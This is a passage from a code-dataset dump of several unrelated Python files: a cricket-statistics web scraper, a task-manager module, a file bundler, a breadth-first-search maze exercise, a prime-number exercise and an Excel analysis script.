BeautifulSoup(page.content, 'html.parser')\n odi_series = soup.find('div', attrs={'id': re.compile(\"odis\")})\n possible_links = odi_series.find_all('a', attrs={'class': re.compile(\"LinkOff\")})\n \n for link in possible_links:\n series_decade_url = partial_url + link.get('href')\n url = series_decade_url.strip()\n series_list_filtered, nbs_codes, series_matches = all_series_of_decade(url)\n decade_wise_series = decade_wise_series + (series_list_filtered,)\n series_wise_matches = series_wise_matches + (series_matches,)\n non_bilateral.append(nbs_codes)\n \n non_bilateral = [item for sublist in non_bilateral for item in sublist]\n return decade_wise_series, non_bilateral, series_wise_matches\n \n \n \ndef all_series_of_decade(url):\n odi_matches = ()\n odi_series_code = ()\n non_bilateral_series = []\n \n url = url.strip()\n page = requests.get(url)\n soup = BeautifulSoup(page.content, 'html.parser')\n odi_series = soup.find_all('tr', attrs={'bgcolor': re.compile(\"#\")})\n count = 0\n\n for tr in odi_series: \n series_codes = tr.find_all('td')[0]\n link = series_codes.find('a', attrs={'class': re.compile(\"LinkNormal\")})\n series_url = link.get('href')\n series_url = series_url.split(\"=\")\n series_url = series_url[1]\n odi_series_code = odi_series_code + (series_url,)\n\n series_matches = tr.find_all('td')[2]\n link = series_matches.text.strip()\n \n odi_matches = odi_matches + (link,)\n result = tr.find_all('td')[3]\n t = result.text.strip()\n if \"-\" not in t and t != \"\":\n if t in country_names:\n non_bilateral_series.append(odi_series_code[count])\n count += 1\n\n return odi_series_code, non_bilateral_series, odi_matches \n\nif __name__ == '__main__':\n all_series_list = []\n series_url = \"http://www.howstat.com/cricket/Statistics/Series/SeriesListMenu.asp#odis\"\n countries_list, country_names = get_all_countries(series_url)\n decades_tuple, non_bilateral, series_wise_matches = get_series_with_decades(series_url)\n\n partial_url = \"http://www.howstat.com/cricket/Statistics/Series/SeriesListCountry_ODI.asp?\"\n for country1,country2 in list(it.combinations(countries_list,2)):\n list_series_url = partial_url + \"A=\" + country1 +\"&B=\" + country2 \n all_series_list.append(list_series_url) \n \n df = pd.read_csv(\"Series_code_to_country.csv\", index_col = 0)\n \n download_dir = \"odi_batsman_records.csv\" #where you want the file to be downloaded to \n file = open(download_dir, \"a\") \n header = \"Player,Country,% Team Runs,Mat,Inns,NO,50s,100s,0s,HS,Runs,S/R,Avg,Ca,St,Series_Code, H/A, Decade_Index ,Matches\\n\"\n file.write(header)\n\n get_series_data_with_decades_list = partial(get_series_data,decades_tuple,series_wise_matches)\n \n \n with Pool(45) as p:\n records = p.map(get_series_data_with_decades_list,all_series_list)\n p.terminate()\n p.join()\n \n print_in_csv(records)\n \n get_series_data_with_decades_list_code = partial(get_series_data_code,decades_tuple,df,series_wise_matches)\n \n with Pool(80) as p:\n records = p.map(get_series_data_with_decades_list_code,non_bilateral)\n p.terminate()\n p.join()\n\n print_in_csv(records) \n \n file.close()\n \n","sub_path":"odi_batsman_data_scraping.py","file_name":"odi_batsman_data_scraping.py","file_ext":"py","file_size_in_byte":8190,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"65780387","text":"\"\"\"\nModule to store the main class of pydo\n\nClasses:\n TaskManager: Class to manipulate the tasks data\n ConfigManager: Class to manipulate the pydo configuration\n\"\"\"\nfrom dateutil.relativedelta import relativedelta, MO, TU, WE, TH, FR, SA, SU\nfrom pydo.cli import load_logger\nfrom pydo.fulids import fulid\nfrom pydo.models import Task, Config, Project, Tag\n\nimport datetime\nimport json\nimport logging\nimport re\n\npydo_default_config = {\n 'verbose_level': {\n 'default': 'info',\n 'choices': ['info', 'debug', 'warning'],\n 'description': 'Set the logging verbosity level',\n },\n 'fulid.characters': {\n 'default': 'asdfghjwer',\n 'choices': '',\n 'description': 'Characters used for the generation of identifiers.'\n },\n 'fulid.forbidden_characters': {\n 'default': 'ilou|&:;()<>~*@?!$#[]{}\\\\/\\'\"`',\n 'choices': '',\n 'description': 'Characters forbidden to be used in the generation'\n 'of ids, due to ulid converting them to numbers or because they'\n 'have a meaning for the terminal',\n },\n 'report.date_format': {\n 'default': '%Y-%m-%d %H:%M',\n 'choices': '',\n 'description': 'Datetime strftime compatible string to print dates',\n },\n 'report.list.columns': {\n 'default': 'id, title, project_id, priority, tags, due',\n 'choices': 'id, title, description, project_id, priority, tags, '\n 'agile, estimate, willpower, value, fun',\n 'description': 'Ordered coma separated list of Task attributes '\n 'to print',\n },\n 'report.list.labels': {\n 'default': 'ID, Title, Project, Pri, Tags, Due',\n 'choices': '',\n 'description': 'Ordered coma separated list of names for the '\n 'Task attributes to print',\n },\n 'report.projects.columns': {\n 'default': 'id, task.count, description',\n 'choices': '',\n 'description': 'Ordered coma separated list of Project attributes '\n 'to print',\n },\n 'report.projects.labels': {\n 'default': 'Name, Tasks, Description',\n 'choices': '',\n 'description': 'Ordered coma separated list of names for the '\n 'Project attributes to print',\n },\n 'report.tags.columns': {\n 'default': 'id, task.count, description',\n 'choices': '',\n 'description': 'Ordered coma separated list of Tag attributes '\n 'to print',\n },\n 'report.tags.labels': {\n 'default': 'Name, Tasks, Description',\n 'choices': '',\n 'description': 'Ordered coma separated list of names for the '\n 'Tag attributes to print',\n },\n 'task.default.agile': {\n 'default': None,\n 'choices': 'See task.agile.states',\n 'description': 'Default task agile state if not specified.',\n },\n 'task.agile.states': {\n 'default': 'backlog, todo, doing, review, complete',\n 'choices': '',\n 'description': 'Coma separated list of agile states the task '\n 'can transition to.',\n },\n}\n\nload_logger()\n\n\nclass TableManager:\n \"\"\"\n Abstract Class to manipulate a database table data.\n\n Arguments:\n session (session object): Database session\n table_model (Sqlalchemy model): Table model\n\n Internal methods:\n _add: Method to create a new table item\n _get: Retrieve the table element identified by id.\n\n Public attributes:\n session (session object): Database session\n log (logging object): Logger\n \"\"\"\n\n def __init__(self, session, table_model):\n self.log = logging.getLogger('main')\n self.model = table_model\n self.session = session\n\n def _add(self, object_values, id, title):\n \"\"\"\n Method to create a new table item\n\n Arguments:\n title (str): object title\n id (str): object identifier\n object_values (dict): Dictionary with the column identifier\n as keys.\n \"\"\"\n\n obj = self.model(id, title)\n\n for attribute_key, attribute_value in object_values.items():\n setattr(obj, attribute_key, attribute_value)\n\n self.session.add(obj)\n self.session.commit()\n self.log.debug(\n 'Added {} {}: {}'.format(\n self.model.__name__.lower(),\n id,\n title,\n )\n )\n\n def _get(self, id):\n \"\"\"\n Return the table element identified by id.\n\n Arguments:\n id (str): Table element identifier\n\n Returns:\n table element (obj): Sqlalchemy element of the table.\n raises: ValueError if element is not found\n \"\"\"\n\n table_element = self.session.query(self.model).get(id)\n\n if table_element is None:\n raise ValueError('The element {} does not exist'.format(id))\n else:\n return table_element\n\n\nclass TaskManager(TableManager):\n \"\"\"\n Class to manipulate the tasks data.\n\n Arguments:\n session (session object): Database session\n\n Public methods:\n add: Creates a new task.\n delete: Deletes a task.\n complete: Completes a task.\n\n Internal methods:\n _add: Parent method to add table elements.\n _close: Closes a task.\n _parse_arguments: Parse a Taskwarrior like add query into task\n attributes.\n\n Public attributes:\n fulid (fulid object): Fulid manager and generator object.\n log (logging object): Logger\n session (session object): Database session\n \"\"\"\n\n def __init__(self, session):\n super().__init__(session, Task)\n self.config = ConfigManager(self.session)\n self.date = DateManager()\n self.fulid = fulid(\n self.config.get('fulid.characters'),\n self.config.get('fulid.forbidden_characters'),\n )\n\n def _parse_arguments(self, add_arguments):\n \"\"\"\n Parse a Taskwarrior like add query into task attributes\n\n Arguments:\n add_arguments (str): Taskwarrior like add argument string.\n\n Returns:\n attributes (dict): Dictionary with the attributes of the task.\n \"\"\"\n\n attributes = {\n 'agile': None,\n 'body': None,\n 'due': None,\n 'title': [],\n 'estimate': None,\n 'fun': None,\n 'priority': None,\n 'project_id': None,\n 'tags': [],\n 'value': None,\n 'willpower': None,\n }\n for argument in add_arguments:\n if re.match(r'^(pro|project):', argument):\n attributes['project_id'] = argument.split(':')[1]\n elif re.match(r'^(ag|agile):', argument):\n attributes['agile'] = argument.split(':')[1]\n elif re.match(r'^due:', argument):\n attributes['due'] = self.date.convert(argument.split(':')[1])\n elif re.match(r'^(pri|priority):', argument):\n attributes['priority'] = int(argument.split(':')[1])\n elif re.match(r'^(wp|willpower):', argument):\n attributes['willpower'] = int(argument.split(':')[1])\n elif re.match(r'^(est|estimate):', argument):\n attributes['estimate'] = float(argument.split(':')[1])\n elif re.match(r'^(vl|value):', argument):\n attributes['value'] = int(argument.split(':')[1])\n elif re.match(r'^fun:', argument):\n attributes['fun'] = int(argument.split(':')[1])\n elif re.match(r'^body:', argument):\n attributes['body'] = argument.split(':')[1]\n elif re.match(r'^\\+', argument):\n attributes['tags'].append(argument.replace('+', ''))\n else:\n attributes['title'].append(argument)\n attributes['title'] = ' '.join(attributes['title'])\n return attributes\n\n def add(\n self,\n title,\n agile=None,\n body=None,\n due=None,\n estimate=None,\n fun=None,\n priority=None,\n project_id=None,\n tags=[],\n value=None,\n willpower=None,\n ):\n \"\"\"\n Use parent method to create a new task\n\n Arguments:\n agile (str): Task agile state.\n title (str): Title of the task.\n body (str): Description of the task.\n estimate (float): Estimate size of the task.\n fun (int): Fun size of the task.\n priority (int): Task priority.\n project_id (str): Project id.\n tags (list): List of tag ids.\n title (str): Title of the task.\n value (int): Objective/Bussiness value of the task.\n willpower (int): Willpower consumption of the task.\n \"\"\"\n\n # Define ID\n last_fulid = self.session.query(\n Task\n ).filter_by(state='open').order_by(Task.id.desc()).first()\n\n if last_fulid is not None:\n last_fulid = last_fulid.id\n\n new_fulid = self.fulid.new(last_fulid)\n\n task_attributes = {\n 'id': new_fulid.str,\n 'agile': agile,\n 'body': body,\n 'due': due,\n 'title': title,\n 'estimate': estimate,\n 'fun': fun,\n 'state': 'open',\n 'priority': priority,\n 'value': value,\n 'tags': [],\n 'willpower': willpower,\n }\n\n # Define Project\n if project_id is not None:\n project = self.session.query(Project).get(project_id)\n if project is None:\n project = Project(id=project_id, description='')\n self.session.add(project)\n self.session.commit()\n task_attributes['project'] = project\n\n # Define tags\n for tag_id in tags:\n tag = self.session.query(Tag).get(tag_id)\n if tag is None:\n tag = Tag(id=tag_id, description='')\n self.session.add(tag)\n self.session.commit()\n task_attributes['tags'].append(tag)\n\n # Test the task attributes are into the available choices\n if agile is not None and \\\n agile not in self.config.get('task.agile.states').split(', '):\n raise ValueError(\n 'Agile state {} is not between the specified '\n 'by task.agile.states'.format(agile)\n )\n\n self._add(\n task_attributes,\n task_attributes['id'],\n task_attributes['title'],\n )\n\n def _close(self, id, state):\n \"\"\"\n Method to close a task\n\n Arguments:\n id (str): Ulid of the task\n state (str): State of the task once it's closed\n \"\"\"\n\n if len(id) < 10:\n open_tasks = self.session.query(Task).filter_by(state='open')\n open_task_fulids = [task.id for task in open_tasks]\n id = self.fulid.sulid_to_fulid(id, open_task_fulids)\n\n task = self.session.query(Task).get(id)\n\n task.state = state\n task.closed = datetime.datetime.now()\n\n self.session.commit()\n self.log.debug(\n '{} task {}: {}'.format(\n state.title(),\n task.id,\n task.title\n )\n )\n\n def delete(self, id):\n \"\"\"\n Method to delete a task\n\n Arguments:\n id (str): Ulid of the task\n \"\"\"\n\n self._close(id, 'deleted')\n\n def complete(self, id):\n \"\"\"\n Method to complete a task\n\n Arguments:\n id (str): Ulid of the task\n \"\"\"\n\n self._close(id, 'completed')\n\n\nclass ConfigManager(TableManager):\n \"\"\"\n Class to manipulate the pydo configuration.\n\n Arguments:\n session (session object): Database session\n\n Public methods:\n add: Creates a new configuration element.\n get: Return the configuration value.\n seed: Generates the default config data in an idempotent way.\n\n Internal methods:\n\n Public attributes:\n session (session object): Database session\n log (logging object): Logger\n \"\"\"\n\n def __init__(self, session):\n super().__init__(session, Config)\n\n def add(\n self,\n property,\n choices=None,\n description=None,\n user=None,\n default=None\n ):\n \"\"\"\n Use parent method to create a new configuration\n\n Arguments:\n choices (str): JSON list of possible values.\n default (str): Default value of the property.\n description (str): Property description.\n property (str): Property identifier\n user (str): User defined value of the property.\n \"\"\"\n\n config_attributes = {\n 'choices': choices,\n 'default': default,\n 'description': description,\n 'property': property,\n 'user': user,\n }\n self._add(\n config_attributes,\n config_attributes['property'],\n config_attributes['description'],\n )\n\n def seed(self):\n \"\"\"\n Generates the default config data in an idempotent way.\n \"\"\"\n\n for attribute_key, attribute_data in pydo_default_config.items():\n config = self.session.query(Config).get(attribute_key)\n if config is not None:\n config.description = attribute_data['description']\n config.default = attribute_data['default']\n config.choices = json.dumps(attribute_data['choices'])\n self.session.add(config)\n self.session.commit()\n else:\n self.add(\n property=attribute_key,\n description=attribute_data['description'],\n default=attribute_data['default'],\n choices=json.dumps(attribute_data['choices']),\n user=None\n )\n\n def get(self, id):\n \"\"\"\n Return the configuration value.\n\n Arguments:\n id (str): Configuration element identifier\n\n Returns:\n value (str): Configuration value\n raises: ValueError if element is not found\n \"\"\"\n\n config = self._get(id)\n\n if config.user is not None:\n return config.user\n else:\n return config.default\n\n\nclass DateManager:\n \"\"\"\n Class to manipulate dates.\n\n Public methods:\n convert: Converts a human string into a datetime\n\n Internal methods:\n _convert_weekday: Method to convert a weekday human string into\n a datetime object.\n _str2date: Method do operations on dates with short codes.\n _next_weekday: Method to get the next week day of a given date.\n _next_monthday: Method to get the difference between for the next same\n week day of the month for the specified months.\n _weekday: Method to return the dateutil.relativedelta weekday.\n \"\"\"\n\n def convert(self, human_date, starting_date=datetime.datetime.now()):\n \"\"\"\n Method to convert a human string into a datetime object\n\n Arguments:\n human_date (str): Date string to convert\n starting_date (datetime): Date to compare.\n\n Returns:\n date (datetime)\n \"\"\"\n\n date = self._convert_weekday(human_date, starting_date)\n\n if date is not None:\n return date\n\n if re.match(\n r'[0-9]{4}-[0-9]{2}-[0-9]{2}T[0-9]{2}:[0-9]{2}',\n human_date,\n ):\n return datetime.datetime.strptime(human_date, '%Y-%m-%dT%H:%M')\n elif re.match(r'[0-9]{4}.[0-9]{2}.[0-9]{2}', human_date,):\n return datetime.datetime.strptime(human_date, '%Y-%m-%d')\n elif re.match(r'now', human_date):\n return starting_date\n elif re.match(r'tomorrow', human_date):\n return starting_date + relativedelta(days=1)\n elif re.match(r'yesterday', human_date):\n return starting_date + relativedelta(days=-1)\n else:\n return self._str2date(human_date, starting_date)\n\n def _convert_weekday(self, human_date, starting_date):\n \"\"\"\n Method to convert a weekday human string into a datetime object.\n\n Arguments:\n human_date (str): Date string to convert\n starting_date (datetime): Date to compare.\n\n Returns:\n date (datetime)\n \"\"\"\n\n if re.match(r'mon.*', human_date):\n return self._next_weekday(0, starting_date)\n elif re.match(r'tue.*', human_date):\n return self._next_weekday(1, starting_date)\n elif re.match(r'wed.*', human_date):\n return self._next_weekday(2, starting_date)\n elif re.match(r'thu.*', human_date):\n return self._next_weekday(3, starting_date)\n elif re.match(r'fri.*', human_date):\n return self._next_weekday(4, starting_date)\n elif re.match(r'sat.*', human_date):\n return self._next_weekday(5, starting_date)\n elif re.match(r'sun.*', human_date):\n return self._next_weekday(6, starting_date)\n else:\n return None\n\n def _str2date(self, modifier, starting_date=datetime.datetime.now()):\n \"\"\"\n Method do operations on dates with short codes.\n\n Arguments:\n modifier (str): Possible inputs are a combination of:\n s: seconds,\n m: minutes,\n h: hours,\n d: days,\n w: weeks,\n mo: months,\n rmo: relative months,\n y: years.\n\n For example '5d 10h 3m 10s'.\n starting_date (datetime): Date to compare\n\n Returns:\n resulting_date (datetime)\n \"\"\"\n\n date_delta = relativedelta()\n for element in modifier.split(' '):\n element = re.match(r'(?P[0-9]+)(?P.*)', element)\n value = int(element.group('value'))\n unit = element.group('unit')\n\n if unit == 's':\n date_delta += relativedelta(seconds=value)\n elif unit == 'm':\n date_delta += relativedelta(minutes=value)\n elif unit == 'h':\n date_delta += relativedelta(hours=value)\n elif unit == 'd':\n date_delta += relativedelta(days=value)\n elif unit == 'mo':\n date_delta += relativedelta(months=value)\n elif unit == 'w':\n date_delta += relativedelta(weeks=value)\n elif unit == 'y':\n date_delta += relativedelta(years=value)\n elif unit == 'rmo':\n date_delta += self._next_monthday(value, starting_date) - \\\n starting_date\n return starting_date + date_delta\n\n def _next_weekday(self, weekday, starting_date=datetime.datetime.now()):\n \"\"\"\n Method to get the next week day of a given date.\n\n Arguments:\n weekday (int): Integer representation of weekday (0 == monday)\n starting_date (datetime): Date to compare\n\n Returns:\n next_week_day (datetime)\n \"\"\"\n\n if weekday == starting_date.weekday():\n starting_date = starting_date + relativedelta(days=1)\n\n weekday = self._weekday(weekday)\n\n date_delta = relativedelta(day=starting_date.day, weekday=weekday,)\n return starting_date + date_delta\n\n def _next_monthday(self, months, starting_date=datetime.datetime.now()):\n \"\"\"\n Method to get the difference between for the next same week day of the\n month for the specified months.\n\n For example the difference till the next 3rd Wednesday of the month\n after the next `months` months.\n\n Arguments:\n months (int): Number of months to skip.\n\n Returns:\n next_week_day ()\n \"\"\"\n weekday = self._weekday(starting_date.weekday())\n\n first_month_weekday = starting_date - \\\n relativedelta(day=1, weekday=weekday(1))\n month_weekday = (starting_date - first_month_weekday).days // 7 + 1\n\n date_delta = relativedelta(\n months=months,\n day=1,\n weekday=weekday(month_weekday)\n )\n return starting_date + date_delta\n\n def _weekday(self, weekday):\n \"\"\"\n Method to return the dateutil.relativedelta weekday.\n\n Arguments:\n weekday (int): Weekday, Monday == 0\n\n Returns:\n weekday (datetil.relativedelta.weekday)\n \"\"\"\n\n if weekday == 0:\n weekday = MO\n elif weekday == 1:\n weekday = TU\n elif weekday == 2:\n weekday = WE\n elif weekday == 3:\n weekday = TH\n elif weekday == 4:\n weekday = FR\n elif weekday == 5:\n weekday = SA\n elif weekday == 6:\n weekday = SU\n return weekday\n","sub_path":"pydo/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":21103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"56579228","text":"import re\ns = ''\nwith open('./all_files.txt') as utils_filelist:\n con = utils_filelist.readlines()\n filelist = map(lambda x: x.split('\\n')[0].split('./')[1], con)\n for filename in filelist:\n with open('./'+filename) as file:\n con = file.read()\n con = re.sub('disable bundler(?s)(.*)enable bundler', '', con)\n s += con\n with open('./examples/ppo_gym_spin.py') as f:\n s += re.sub('disable bundler(?s)(.*)enable bundler', '', f.read())\n with open('./final.py', 'w') as bundle: bundle.write(s)\n","sub_path":"bundler.py","file_name":"bundler.py","file_ext":"py","file_size_in_byte":552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"98749512","text":"\"\"\"FIFO queue\nFIFO (First In, First Out) is a queue where the oldest elements of the queue are the first ones to be removed. \nThis type of queue has various applications including the Breadth-First search that we will code next.\n\nExercise B (1pt)\nBased on the LIFO stack that we defined at the start of this session, create the auxiliary functions \npush and pop for a FIFO (first in first out) queue\n\"\"\"\n\nfrom utils import get_position_above,get_position_left,get_position_below,get_position_right\nfrom utils import MOVE_UP,MOVE_DOWN,MOVE_LEFT,MOVE_RIGHT\n\n\nFIFO_list = list()\n\ndef FIFO_push(FIFO_list,element):\n #\n # YOUR CODE HERE\n #\n FIFO_list.append(element)\n\n\ndef FIFO_pop(FIFO_list):\n #\n # YOUR CODE HERE\n #\n return FIFO_list.pop(0)\n\n\n\"\"\"Breadth-first search (BFS)\nBreadth-First search is another traversal/search algorithm for trees and graphs \nthat unlike DFS tries to explore all the vertices at the present \"depth\" before going deeper \nin the data structure.\n\nExercise C (1pt)\nComplete the BFS function which performs a BFS over a graph using a FIFO queue. \nAs an input it receives the maze map that is a graph represented in a dictionary, \nin the same way we used in Lab 1 and a starting position. It should return a list \nwith the order of executed vertices and a dictionary containing the vertices as the keys \nand its parents as the value. You should not visit the same vertex twice.\n\"\"\"\n\ndef add_to_explored_vertices(explored_vertices,vertex):\n explored_vertices.append(vertex)\n\ndef is_explored(explored_vertices,vertex):\n return vertex in list(explored_vertices)\n\n\ndef BFS(maze_graph, initial_vertex, target_vertex = None) :\n \n # explored vertices list\n explored_vertices = list()\n \n #LIFO stack\n queuing_structure = list()\n \n #Parent Dictionary\n parent_dict = dict()\n \n\n FIFO_push(queuing_structure,(initial_vertex,None)) # push the initial vertex to the queuing_structure\n while len(queuing_structure) > 0: # while queuing_structure is not empty:\n # current_vertex,parent = queuing_structure.pop()\n # if the current vertex is not explored\n # add current_vertex to explored vertices\n # use parent_dict to map the parent of the current vertex\n # for each neighbor of the current vertex in the maze graph:\n # if neighbor is not explored:\n # push the tuple (neighbor,current_vertex) to the queuing_structure\n current_vertex,parent = FIFO_pop(queuing_structure)\n #\n # YOUR CODE HERE\n #\n if not is_explored(explored_vertices, current_vertex):\n add_to_explored_vertices(explored_vertices, current_vertex)\n parent_dict[current_vertex] = parent\n\n # Break the while loop if current vertex is target vertex\n if current_vertex == target_vertex:\n break\n\n for neighbor in maze_graph[current_vertex]:\n if not is_explored(explored_vertices, neighbor):\n FIFO_push(queuing_structure,(neighbor,current_vertex))\n\n return explored_vertices,parent_dict \n\nfrom operator import itemgetter\n\n#\n# AUTOGRADER TEST - DO NOT REMOVE\n#\n\nmaze_graph = {\n (0,0): {(0,1):1,(1,0):1}, \n (0,1): {(0,2):1,(0,0):1},\n (1,0): {(1,1):1,(0,0):1},\n (1,1): {(1,2):1,(1,0):1},\n (0,2): {(0,1):1,(1,2):1},\n (1,2): {(0,2):1,(1,1):1}\n}\n\nexplored_vertices,parent_dict = BFS(maze_graph, (0,0), (0,2))\nprint(\"explored vertices order: {}\".format(explored_vertices))\nfor vertex,parent in sorted(parent_dict.items(),key=itemgetter(0,0)):\n print(\"vertex {} is the parent of vertex {}\".format(parent,vertex)) \n\nprint(parent_dict)\n\n\"\"\"Exercise D (1pt)\nUsing the parent_dictionary generated by running one of the searches, \ncomplete the function create_walk_from_parents, which receives the parent dictionary as input, \nan initial vertex and an target vertex. It returns a list which contains a walk between two points. \n\"\"\"\n\n\n\ndef create_walk_from_parents(parent_dict,initial_vertex,target_vertex):\n #\n # YOUR CODE HERE\n #\n retVal = []\n \n # Start with target_vertex\n current_vertex = target_vertex\n\n # Stop if initial_vertex is found\n while (current_vertex != initial_vertex):\n retVal.append(current_vertex)\n current_vertex = parent_dict[current_vertex] \n \n # Return reversed list as we started from target\n retVal.reverse()\n \n return retVal\n\n\n#\n# AUTOGRADER TEST - DO NOT REMOVE\n#\n\ninitial_vertex = (0,0)\ntarget_vertex = (0,0)\nexplored_vertices,parent_dict = BFS(maze_graph,initial_vertex)\nroute = create_walk_from_parents(parent_dict,initial_vertex,target_vertex)\nprint(\"The route to go from vertex {} to {} is: {}\".format(initial_vertex,target_vertex,route))\n\n\ninitial_vertex = (0,0)\ntarget_vertex = (0,2)\nexplored_vertices,parent_dict = BFS(maze_graph,initial_vertex)\nroute = create_walk_from_parents(parent_dict,initial_vertex,target_vertex)\nprint(\"The route to go from vertex {} to {} is: {}\".format(initial_vertex,target_vertex,route)) \n\n\ndef get_direction(initial_vertex,target_vertex):\n if get_position_above(initial_vertex) == target_vertex:\n return MOVE_UP\n elif get_position_below(initial_vertex) == target_vertex:\n return MOVE_DOWN\n elif get_position_left(initial_vertex) == target_vertex:\n return MOVE_LEFT\n elif get_position_right(initial_vertex) == target_vertex:\n return MOVE_RIGHT\n else:\n print(\"ddd init: \" + str(initial_vertex) + \" : \" + str(target_vertex))\n raise Exception(\"vertices are not connected\")\n\ndef walk_to_route(walk,initial_vertex):\n #\n # YOUR CODE HERE\n #\n retVal = []\n prev_vertex = initial_vertex\n\n for current_vertex in walk:\n # Skip first vertex if it is initial vertex\n if current_vertex != initial_vertex:\n retVal.append(get_direction(prev_vertex,current_vertex))\n prev_vertex = current_vertex\n\n return retVal\n#\n# AUTOGRADER TEST - DO NOT REMOVE\n#\n\n\nwalk = [(0, 1), (1, 1), (2, 1)]\nprint(\"The route to walk {} is {}\".format(walk,walk_to_route(walk,(0,0))))\n\n\ndef A_to_B(maze_graph,initial_vertex,target_vertex):\n #\n # YOUR CODE HERE\n #\n walk, parent_dict = BFS(maze_graph, initial_vertex, target_vertex)\n\n walk_from_par = create_walk_from_parents(parent_dict, initial_vertex, target_vertex)\n\n return walk_to_route(walk_from_par, initial_vertex)\n\n#\n# AUTOGRADER TEST - DO NOT REMOVE\n#\na = (0,0)\nb = (1,2)\nprint(\"The route from {} to {} is {}\".format(a,b,A_to_B(maze_graph,a,b)))\nprint(\"The route from {} to {} is {}\".format(b,a,A_to_B(maze_graph,b,a)))\n\n\nimport pyrat\npyrat.start_display()\n\nstarting_vertex = (2,2)\ntarget_vertex = (4,4)\n\ndef turn(mazeMap, mazeWidth, mazeHeight, playerLocation, opponentLocation, playerScore, opponentScore, piecesOfCheese, timeAllowed): \n return A_to_B(maze_graph=mazeMap,initial_vertex=playerLocation,target_vertex=piecesOfCheese[0])[0]\n\n\ngame = pyrat.Game(turn_1=turn,player1_start=starting_vertex,cheeses_start=[target_vertex])\ngame.play_match()\npyrat.display_game(game)","sub_path":"bfs.py","file_name":"bfs.py","file_ext":"py","file_size_in_byte":7124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"572204003","text":"from colorama import Fore\nn = int(input('Digite um número: '))\ncont = 0\nfor i in range(1, n + 1):\n if n % i == 0:\n print(Fore.YELLOW + '{}'.format(i), end=' ')\n cont += 1\n else:\n print(Fore.RED + '{}'.format(i), end=' ')\nprint(Fore.WHITE +'\\nO número {} foi divisível {} vezes'.format(n, cont))\nif cont == 2:\n print(Fore.WHITE + 'E por isso ele É PRIMO')\nelse:\n print(Fore.WHITE + 'E por isso ele NÃO É PRIMO')\n ","sub_path":"Curso em vídeo/Exercicios/ex052.py","file_name":"ex052.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"634770243","text":"import openpyxl\r\nimport os\r\nimport sys\r\n\r\n\r\n#set folder of script to current working directory\r\nfile_path=os.path.realpath(__file__)\r\ndirectory_path=os.path.dirname(file_path)\r\nos.chdir(directory_path)\r\n\r\nprint (sys.path)\r\nif directory_path not in sys.path:\r\n sys.path.insert(0, directory_path) #insert path of module to sys.path to access it from other modules\r\n\r\n#TO DO:\r\n# add path to sys.path ->dynamic \r\n\r\n#custom modules path must be included into PATH or PYTHONPATH of the system (do so by using sys.path)\r\nfrom mp_data import find_last_row, find_last_col\r\n\r\nprint(os.getcwd())\r\n\r\n#open the excel book\r\nf_name=\"masterproject_data.xlsx\"\r\ntry:\r\n xls_book = openpyxl.load_workbook(f_name)\r\nexcept FileNotFoundError:\r\n msg = \"Can't find file {0}.\".format(f_name)\r\n print(msg)\r\n\r\n#assigning the sheet and object name\r\nsheet_names = xls_book.get_sheet_names()\r\ndata_sheet = xls_book.get_sheet_by_name(sheet_names[0])\r\nanalysis_sheet=xls_book.get_sheet_by_name(sheet_names[1])\r\ndld_sheet=xls_book.get_sheet_by_name(sheet_names[2])\r\n\r\n#AS1 -ignore first true section- start with second true section -> ring 6 (delte first list entry?!)\r\n\r\nprint(\"Transfering is getting started\")\r\n\r\n#Algorithm\r\n#is it possible to load only values??\r\n#what about false alarms? (not important in first scenario)\r\n#filled or unfilled system?\r\n\r\nnew_max_row=find_last_row(xls_book,0,2,3)\r\n\r\n#go through each column\r\nfor col_num in range(4,13,2): #using the range function with the step method -> important_cols=[4,6,8,10,12]\r\n\r\n previous_cell_value=\"\"\r\n analysis_row_index=2 #row in analysis sheet\r\n\r\n #go through each row of a column by using .iter_rows - min/max row are static!\r\n for row_index, row in enumerate(data_sheet.iter_rows(min_row=2,max_row=new_max_row,min_col=col_num,max_col=col_num)):\r\n for cell in row:\r\n \r\n #check previous value is false and current one is true -> start of a package on a working station\r\n if cell.value==\"true\" and previous_cell_value==\"false\": #algorithm\r\n ##assign time value (column 1) to cell in new sheet (analysis_sheet)\r\n analysis_sheet.cell(analysis_row_index,col_num).value=data_sheet.cell(row_index+2,1).value \r\n \r\n print(data_sheet.cell(row_index+2,1).value)\r\n analysis_row_index+=1\r\n\r\n previous_cell_value=cell.value #save cell value for checking on next row\r\n print(\"transfering for AS is done\")\r\n\r\nanalysis_sheet.delete_cols(1,amount=3)\r\nindex=1\r\nfor col_index,col in enumerate(analysis_sheet.iter_cols(min_row=2,max_row=2,max_col=30)):\r\n for cell in col:\r\n if cell.value is not None:\r\n analysis_sheet.cell(1,col_index+1).value=\"AS_{} ZU\".format(index)\r\n index+=1\r\n \r\nfor col_index,col in enumerate(analysis_sheet.iter_cols(min_row=2,max_row=2,max_col=30)):\r\n for cell in col:\r\n if cell.value is None:\r\n analysis_sheet.delete_cols(col_index+1)\r\n\r\nlast_col=find_last_col(xls_book,1,1,1)\r\n\r\nabgang=float(input(\"Enter the processing time of the last work station please!\"))\r\n\r\n#write header for Abgang\r\nanalysis_sheet.cell(1,last_col+1).value=\"AS_{0} Abgang\".format(index-1)\r\n\r\nlast_row=find_last_row(xls_book,1,1,last_col)\r\n\r\nfor row_index,row in enumerate(analysis_sheet.iter_rows(min_row=2,max_row=last_row,min_col=last_col+1,max_col=last_col+1)):\r\n for cell in row:\r\n\r\n cell.value=float(analysis_sheet.cell(row_index+2,last_col).value or 0)\r\n cell.value=cell.value+abgang\r\n\r\n\r\n#save excel file\r\nxls_book.save(\"masterproject_data.xlsx\")\r\nprint(\"Analysis succesful\")\r\n\r\nmsg=input(\"Enter any key to exit\")\r\n\r\nxls_book.close()\r\n","sub_path":"00_archive/masterproject_old/mp_analysis.py","file_name":"mp_analysis.py","file_ext":"py","file_size_in_byte":3711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"376379441","text":"\"\"\"\n:Author: Saahith Pochiraju \n:Date: 2017-02-28\n:Copyright: 2018, 